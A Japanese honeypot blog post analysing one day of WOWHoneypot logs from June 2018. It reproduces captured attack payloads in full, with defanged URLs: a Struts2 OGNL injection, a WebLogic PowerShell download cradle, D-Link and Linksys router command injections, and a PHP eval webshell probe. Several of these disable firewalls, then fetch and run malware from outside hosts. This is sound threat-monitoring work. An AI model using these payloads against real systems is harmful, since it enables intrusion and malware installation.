S-Owl

S(ecurity)Owl

WOWHoneypot簡易分析(8日目)

WOWhoneypotの2018/6/11(月)(運用8日目)の簡易分析です。

総アクセスは197件でした。

awk '/06-11/{print $1,$5,$6}' /var/log/wowhoneypot/access_log | sort | uniq -c | sort -nr

81 [2018-06-11 "GET /
16 [2018-06-11 "GET /index.action
2 [2018-06-11 "POST /HNAP1/
2 [2018-06-11 "POST /getcfg.php
2 [2018-06-11 "GET /xampp/phpmyadmin/index.php
2 [2018-06-11 "GET /www/phpMyAdmin/index.php
2 [2018-06-11 "GET /web/phpMyAdmin/index.php
2 [2018-06-11 "GET /typo3/phpmyadmin/index.php
2 [2018-06-11 "GET /tools/phpMyAdmin/index.php
2 [2018-06-11 "GET /pmd/index.php
2 [2018-06-11 "GET /pma-old/index.php
2 [2018-06-11 "GET /pmamy/index.php
2 [2018-06-11 "GET /pmamy2/index.php
2 [2018-06-11 "GET /PMA/index.php
2 [2018-06-11 "GET /pma/index.php
2 [2018-06-11 "GET /PMA2/index.php
2 [2018-06-11 "GET /phpMyAdmin/phpMyAdmin/index.php
2 [2018-06-11 "GET /phpmyadmin/phpmyadmin/index.php
2 [2018-06-11 "GET /phpMyAdminold/index.php
2 [2018-06-11 "GET /phpMyAdmin.old/index.php
2 [2018-06-11 "GET /phpmyadmin-old/index.php
2 [2018-06-11 "GET /phpMyAdmin/index.php
2 [2018-06-11 "GET /phpmyadmin/index.php
2 [2018-06-11 "GET /phpMyadmin_bak/index.php
2 [2018-06-11 "GET /phpmyadmin2/index.php
2 [2018-06-11 "GET /phpmyadmin1/index.php
2 [2018-06-11 "GET /phpmyadmin0/index.php
2 [2018-06-11 "GET /phpma/index.php
2 [2018-06-11 "GET /phpadmin/index.php
2 [2018-06-11 "GET /mysqladmin/index.php
2 [2018-06-11 "GET /mysql-admin/index.php
2 [2018-06-11 "GET /myadmin/index.php
2 [2018-06-11 "GET /myadmin2/index.php
2 [2018-06-11 "GET /index.php
2 [2018-06-11 "GET /db/index.php
2 [2018-06-11 "GET /dbadmin/index.php
2 [2018-06-11 "GET /claroline/phpMyAdmin/index.php
2 [2018-06-11 "GET /authentication.cgi?captcha=&dummy=0000000000000
2 [2018-06-11 "GET /admin/PMA/index.php
2 [2018-06-11 "GET /admin/pma/index.php
2 [2018-06-11 "GET /admin/phpMyAdmin/index.php
2 [2018-06-11 "GET /admin/phpmyadmin/index.php
2 [2018-06-11 "GET /admin/phpmyadmin2/index.php
2 [2018-06-11 "GET /admin/mysql/index.php
2 [2018-06-11 "GET /admin/mysql2/index.php
2 [2018-06-11 "GET /admin/index.php
1 [2018-06-11 "PROPFIND /
1 [2018-06-11 "POST //xx.php
1 [2018-06-11 "POST //wuwu11.php
1 [2018-06-11 "POST /wls-wsat/CoordinatorPortType
1 [2018-06-11 "POST //s.php
1 [2018-06-11 "POST //sheep.php
1 [2018-06-11 "POST /hndUnblock.cgi
1 [2018-06-11 "GET /webfig/roteros.info
1 [2018-06-11 "GET /moo
1 [2018-06-11 "GET http://114.215.207[.]183:83/index.php
1 [2018-06-11 "GET http://112.124.127[.]162:83/index.php
1 [2018-06-11 "GET /hndUnblock.cgi 

ハンティングログは以下です。

$ awk '{print $1,substr($0,index($0,$4))}' hunting.log
[2018-06-11 wget -O nmlt1.sh hxxp://domstates[.]su/nmlt1.sh
[2018-06-11 wget -c hxxp://119.188.247[.]73:5858/TTTUS2
[2018-06-11 wget -c hxxp://wap.tfddos[.]net:57843/linux
[2018-06-11 wget -c hxxp://119.188.247[.]73:5858/TTTUS2
[2018-06-11 wget -c hxxp://wap.tfddos[.]net:57843/linux
[2018-06-11 wget -c hxxp://119.188.247[.]73:5858/TTTUS2
[2018-06-11 wget -c hxxp://wap.tfddos[.]net:57843/linux
[2018-06-11 wget -c hxxp://119.188.247[.]73:5858/TTTUS2
[2018-06-11 wget -c hxxp://wap.tfddos[.]net:57843/linux

こちらのログでこれまでと変化があるのは119.188.247[.]73:5858から取得するものたtatadaからTTTUS2に変化したことのみです。
https://www.hybrid-analysis.com/sample/9f70a41600d4425f0a6ec2e71134072badcb6d00e09e27bf877e34b27d814619/5b1e9afc7ca3e15a3d11e0b7

 

アクセスログの中からindex.phpのアクセスを除いてみます。

81 [2018-06-11 "GET /
16 [2018-06-11 "GET /index.action
2 [2018-06-11 "POST /HNAP1/
2 [2018-06-11 "POST /getcfg.php
2 [2018-06-11 "GET /authentication.cgi?captcha=&dummy=0000000000000
1 [2018-06-11 "PROPFIND /
1 [2018-06-11 "POST //xx.php
1 [2018-06-11 "POST //wuwu11.php
1 [2018-06-11 "POST /wls-wsat/CoordinatorPortType
1 [2018-06-11 "POST //s.php
1 [2018-06-11 "POST //sheep.php
1 [2018-06-11 "POST /hndUnblock.cgi
1 [2018-06-11 "GET /webfig/roteros.info
1 [2018-06-11 "GET /moo
1 [2018-06-11 "GET /hndUnblock.cgi

 

index.actionへのアクセスはstruts脆弱性を狙ったものです。

GET /index.action HTTP/1.1
Connection: Keep-Alive
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):*1.(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;wget -c hxxp://119.188.247[.]73:5858/TTTUS2;chmod 777 TTTUS2;./TTTUS2;').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Accept: */*
Accept-Language: zh-cn
Referer: hxxp://(WOW-ipadress):80/index.action
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)

ハンティングログで拾っていたものですね。iptables等を停止させてからwgetマルウェアをダウンロード、権限付与して実行と強い悪意を感じます。

Weblogic脆弱性はいつもと変わらずです。

$ awk '/06-11/{print $1,$5,$6,$10}' access_log | grep wls | awk '{print $4}' | base64 -d | grep -o 'Hidden.*' | awk '{print $3}' | base64 -d

<string>Start /Min PowerShell.exe -NoP -NonI -EP ByPass -W Hidden -E $OS=(GWmi Win32_OperatingSystem).Caption;$WC=New-Object Net.WebClient;$WC.Headers['User-Agent']="PowerShell/WL $OS";IEX $WC.DownloadString('hxxp://120.25.148[.]202/images/test/DL.php');</string>
※Hiddenの後ろの文字はbase64エンコードされていましたのでデコードしています。

その他。以下の2つはcookieに入れてる値が同じです。
getcfg.phpD-Link DIR-645のRCEの脆弱性を突く攻撃のようです。

awk '/06-11/{print $1,$5,$6,$10}' access_log | grep getcfg | awk '{print $4}' | base64 -d
POST /getcfg.php HTTP/1.1
Accept: */*
Cookie: uid=Zd5iHiPget
Content-Type: application/x-www-form-urlencoded
User-Agent: Wget(linux)
Content-Length: 60

A=A%0a_POST_SERVICES%3dDEVICE.ACCOUNT%0aAUTHORIZED_GROUP%3d1

$ awk '/06-11/{print $1,$5,$6,$10}' access_log | grep auth | awk '{print $4}' | base64 -d
GET /authentication.cgi?captcha=&dummy=0000000000000 HTTP/1.1
Accept: */*
Cookie: uid=Zd5iHiPget
User-Agent: Wget(linux)

以下の4つのパスに対する攻撃の手法は同じでした。

POST //xx.php HTTP/1.1
POST //wuwu11.php HTTP/1.1
POST //s.php HTTP/1.1
POST //sheep.php HTTP/1.1

Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Language: zh-cn
Referer: http://(WOW-IP)//xx.php
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Content-Length: 345
axa=@ eval (base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOztwcmludCgiaGFvcmVuZ2UuY29tUVEzMTcyNzU3MzgiKTs7ZWNobygifDwtIik7ZGllKCk7

以下はLinksysのルータのRCEの脆弱性を突くための攻撃のようです。

$ awk '/06-11/{print $1,$5,$6,$10}' /var/log/wowhoneypot/access_log | grep hndUnblock | awk '{print $4}' | base64 -d

POST /hndUnblock.cgi HTTP/1.1
Accept: */*
User-Agent: Wget(linux)
Content-Length: 384
Content-Type: application/x-www-form-urlencoded

submit_button=&change_action=&action=&commit=&ttcp_num=2&ttcp_size=2&ttcp_ip=-h `cd /tmp;rm -f nmlt1.sh;wget -O nmlt1.sh hxxp://domstates[.]su/nmlt1.sh;chmod +x nmlt1.sh;./nmlt1.sh`&StartEPI=1
※``の間は%エンコードされていました。

 

以上です。

 

*1:#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class